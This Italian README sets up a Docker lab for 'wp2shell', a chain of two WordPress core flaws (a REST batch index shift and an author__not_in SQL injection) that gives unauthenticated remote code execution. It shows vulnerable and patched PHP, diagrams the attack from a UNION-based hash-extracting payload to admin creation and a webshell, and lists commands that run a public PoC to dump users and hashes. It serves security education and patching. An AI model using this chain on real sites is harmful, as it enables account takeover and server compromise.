
wp2shell (CVE-2026-63030 & CVE-2026-60137) - catena RCE completa
wp2shell è una catena composta da due bug del core di WordPress a bassa severità individuale che, se combinati, consentono a un attaccante remoto non autenticato di:
| Proprietà | Dettaglio |
|---|---|
| CVE | CVE-2026-63030 + CVE-2026-60137 |
| CVSS | 9.8 Critico |
| Autenticazione richiesta | Nessuna (pre-autenticazione) |
| Vettore d'attacco | Rete |
| Versioni interessate | WordPress 6.9.0–6.9.4 e 7.0.0–7.0.1 |
| Versioni corrette | 6.9.5 e 7.0.2 (rilasciate il 17 luglio 2026) |
File: wp-includes/rest-api/class-wp-rest-server.php
serve_batch_request_v1() mantiene due array paralleli: $matches[] per gli handler e $validation[] per i risultati. Quando una sub-request fallisce con un WP_Error (percorso rotto), viene inserita in $validation[] ma non in $matches[]. Questo crea uno spostamento di indice di +1 — la sub-request i viene smistata con l'handler della sub-request i+1.
// VULNERABLE (7.0.1)
if ( is_wp_error( $route ) ) {
$responses[] = envelope();
continue; // $matches[] NOT pushed ← BUG
}
// PATCHED (7.0.2)
if ( is_wp_error( $route ) ) {
$matches[] = null; // ← FIX: keeps arrays in sync
$responses[] = envelope();
continue;
}
File: wp-includes/class-wp-query.php
Il parametro author__not_in prevede un array di interi. Quando viene passata una stringa, implode() concatena il valore grezzo direttamente nella clausola SQL WHERE — senza escaping né parametrizzazione.
// VULNERABLE (7.0.1)
$where .= ' NOT IN (' . implode(',', $q['author__not_in']) . ')';
// PATCHED (7.0.2)
$safe = implode(',', array_map('absint', (array) $q['author__not_in']));
$where .= " NOT IN ($safe)";
Unauthenticated Attacker
│
▼
POST /?rest_route=/batch/v1 ← Outer batch
sub-req 0: "///" → WP_Error → index shift (+1)
sub-req 1: POST /wp/v2/posts ← dispatched under BATCH handler
sub-req 2: POST /batch/v1 ← dummy
│
│ [Confusion #1 active]
▼
Inner batch (body of sub-req 1) ← schema never validated
inner 0: "///" → index shift (+1)
inner 1: GET /wp/v2/posts?author_exclude=<PAYLOAD>
dispatched under posts get_items()
│
│ [Confusion #2 active]
▼
WP_Query: author__not_in = raw string
│
▼
SQL: NOT IN (0) UNION SELECT 999999,...,HEX(user_pass),...
│
▼
title.rendered = "||1|admin|$wp$2y$10$...<hash>...||"
│
▼
Crack hash OR crack-free oEmbed technique
│
▼
POST /wp/v2/users → new admin → plugin upload → webshell → RCE
| Strumento | Download |
|---|---|
| Docker Desktop (Windows / macOS) | https://www.docker.com/products/docker-desktop |
| Docker Engine (Linux) | https://docs.docker.com/engine/install |
| Git | https://git-scm.com/downloads |
| Burp Suite Community (opzionale) | https://portswigger.net/burp/communitydownload |
git clone https://github.com/YOUR_USERNAME/cve-2026-63030-lab
cd cve-2026-63030-lab
Vedrai questi file:
cve-2026-63030-lab/
├── docker-compose.yml ← defines WordPress + MySQL containers
├── Dockerfile ← custom image with Apache fix + wp-cli
├── init.sh ← configures permalink after install
└── fix-htaccess.ps1 ← Windows helper (run if Apache returns 404)
docker compose up -d --build
Questo permetterà di:
Verifica che entrambi i container siano in esecuzione:
docker compose ps
Output atteso:
NAME STATUS
wp2shell-lab running
wp2shell-db running
Apri http://localhost:9090 nel browser e compila:
| Campo | Valore suggerito |
|---|---|
| Titolo del sito | CVE-2026-63030 |
| Nome utente | admin |
| Password | qualsiasi password |
[email protected] |
Fai clic su Installa WordPress, quindi accedi.
Esegui questo comando una volta dopo l'installazione:
Linux / macOS:
docker exec wp2shell-lab bash -c "
wp rewrite structure '/%postname%/' --allow-root --path=/var/www/html &&
wp rewrite flush --allow-root --path=/var/www/html
"
Windows PowerShell:
docker exec wp2shell-lab bash -c "wp rewrite structure '/%postname%/' --allow-root --path=/var/www/html && wp rewrite flush --allow-root --path=/var/www/html"
Output atteso:
Success: Rewrite structure set.
Success: Rewrite rules flushed.
.\fix-htaccess.ps1
curl -s http://localhost:9090/wp-json/ | python3 -m json.tool | head -5
Se vedi una risposta JSON con "namespaces" — il lab è pronto.
# Stop and remove everything including database
docker compose down -v
⚠️ Solo per ricerca sulla sicurezza autorizzata e scopi educativi. Utilizza solo su sistemi che possiedi o per i quali hai esplicita autorizzazione scritta a testare.
L'intera catena di exploitation (rilevamento → SQLi → creazione admin → webshell → RCE) è implementata in:
git clone https://github.com/Icex0/wp2shell-poc
cd wp2shell-poc
pip install -r requirements.txt
# Step 1: Detection only (non-destructive)
python wp2shell.py check http://localhost:9090
# Step 2: Read database — extract users and hashes
python wp2shell.py read --preset users http://localhost:9090
Tre file, meno di 10 righe di PHP:
| File | Modifica |
|---|---|
class-wp-rest-server.php | Segnaposto $matches[] = null per mantenere gli array sincronizzati |
class-wp-query.php | Cast (array) + array_map('absint', ...) |
class-wp-rest-posts-controller.php | Stessa sanificazione a livello REST |
Aggiorna a WordPress 6.9.5 o 7.0.2 per rimediare.
| Risorsa | Link |
|---|---|
| GitHub Advisory (CVE-2026-63030) | GHSA-ff9f-jf42-662q |
| GitHub Advisory (CVE-2026-60137) | GHSA-fpp7-x2x2-2mjf |
| PoC pubblico | https://github.com/Icex0/wp2shell-poc |
Fatto con ❤️ da Black Security Team
Questo repository è solo per scopi educativi e ricerca sulla sicurezza autorizzata. Non eseguire test su sistemi che non possiedi o per i quali non hai esplicita autorizzazione scritta a testare.